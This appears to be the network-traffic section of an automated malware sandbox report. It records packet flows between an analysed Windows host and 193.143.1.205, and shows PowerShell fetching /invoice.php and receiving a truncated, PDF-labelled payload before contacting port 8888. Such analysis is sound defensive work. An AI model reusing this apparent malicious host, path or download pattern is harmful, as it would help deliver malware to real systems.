Jan 10, 2025 17:54:22.497980118 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.497987032 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.498022079 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.498028994 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.498042107 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.498049021 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.498061895 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.498089075 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.498107910 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.498126030 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.498156071 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.498162985 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.498178959 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.498202085 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.498249054 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.498260975 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.498269081 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.498275042 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.498285055 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.498305082 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.498322010 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.498348951 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.498358965 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.498370886 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.498378038 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.498411894 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.498445988 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.498459101 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.498466969 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.498492002 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.498508930 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.498548031 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.498594046 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.498600960 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.498606920 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.498613119 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.498620033 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.498644114 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.498677015 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.498781919 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.498788118 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.498800039 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.498806000 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.498823881 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.498827934 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.498828888 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.498836994 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.498842955 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.498848915 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.498889923 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.498908997 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.498938084 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.499068022 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.499073982 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.499079943 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.499092102 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.499099970 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.499109983 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.499111891 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.499119997 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.499126911 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.499141932 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.499195099 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.499214888 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.499286890 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.499335051 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.499342918 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.499350071 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.499356985 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.499370098 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.499378920 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.499386072 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.499387980 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.499393940 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.499413967 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.499437094 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.499470949 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.499475956 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.499489069 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.499507904 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.499629974 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.499638081 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.499650002 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.499655962 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.499670029 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.499675989 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.499679089 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.499684095 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.499696970 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.499703884 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.499711037 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.499720097 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.499735117 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.499846935 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.499851942 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.499892950 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.522612095 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.522664070 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.522680044 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.522686958 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.522695065 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.522701025 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.522703886 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.522708893 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.522840023 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.523013115 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.523025990 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.523034096 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.523073912 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.537386894 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.537401915 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.537415981 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.537424088 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.537444115 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.538337946 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.547324896 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.547339916 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.547383070 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.547390938 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.547404051 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.547410965 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.547424078 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.547430038 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.547449112 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.547455072 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.547466993 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.547472000 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.547477961 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.547475100 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.547487020 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.547544956 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.547605038 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.588782072 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.588795900 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.588818073 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.588831902 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.588850021 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.588856936 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.588865995 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.588871956 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.588879108 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.588880062 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.588884115 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.588900089 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.588918924 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.588926077 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.588937044 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.588943005 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.588943005 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.588958025 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.588963032 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.588967085 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.588984013 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.588989973 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.588995934 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.589015961 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.589015961 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.589034081 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.589054108 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.589066982 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.589072943 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.589073896 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.589092016 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.589159966 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.589168072 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.589179039 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.589184046 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.589184999 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.589200974 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.589202881 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.589220047 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.589241982 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.589303017 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.589310884 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.589323044 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.589330912 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.589350939 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.589378119 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.589466095 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.589479923 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.589490891 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.589495897 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.589504004 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.589514971 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.589519978 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.589520931 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.589555025 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.589590073 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.589626074 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.589715958 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.589721918 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.589732885 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.589737892 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.589744091 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.589751005 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.589760065 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.589765072 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.589771986 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.589777946 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.589777946 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.589795113 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.589795113 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.589826107 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.589993954 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.590001106 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.590013027 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.590035915 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.593163013 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.811537981 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.812190056 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.821978092 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.826903105 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.826920033 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.826934099 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.826942921 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.826992989 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.827049017 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.827064037 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.827075958 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.827081919 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.827088118 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.827088118 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.827101946 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.827107906 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.827112913 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.827121019 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.827126980 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.827131033 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.827140093 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.827147007 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.827153921 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.827158928 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.827163935 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.827167034 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.827181101 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.827186108 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.827205896 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.827210903 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.827215910 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.827227116 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.827240944 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.827244043 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.827250957 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.827265024 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.827269077 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.827270985 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.827286005 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.827291012 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.827296019 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.827303886 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.827311039 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.827318907 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.827327967 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.827346087 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.827364922 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.827383041 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.827409983 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.827439070 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.827451944 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.827464104 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.827471018 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.827476978 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.827482939 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.827495098 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.827501059 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.827506065 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.827507019 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.827522039 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.827528000 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.827529907 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.827543020 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.827550888 CET	80	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:22.827553034 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.827574015 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:22.827594042 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:23.090199947 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:23.096415997 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:23.240060091 CET	49711	80	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:23.615276098 CET	49712	8888	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:23.620249033 CET	8888	49712	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:23.620311975 CET	49712	8888	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:23.620527029 CET	49712	8888	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:23.625349998 CET	8888	49712	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:24.450109959 CET	8888	49712	193.143.1.205	192.168.2.12
Jan 10, 2025 17:54:24.499102116 CET	49712	8888	192.168.2.12	193.143.1.205
Jan 10, 2025 17:54:26.361479044 CET	49712	8888	192.168.2.12	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 17:54:32.112698078 CET	64315	53	192.168.2.12	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 17:54:32.112698078 CET	192.168.2.12	1.1.1.1	0x8f36	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 17:54:32.121743917 CET	1.1.1.1	192.168.2.12	0x8f36	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 17:54:32.847203016 CET	1.1.1.1	192.168.2.12	0x909f	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:54:32.847203016 CET	1.1.1.1	192.168.2.12	0x909f	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.12	49711	193.143.1.205	80	6624	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 17:54:20.869647026 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 17:54:21.699455976 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:54:21 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
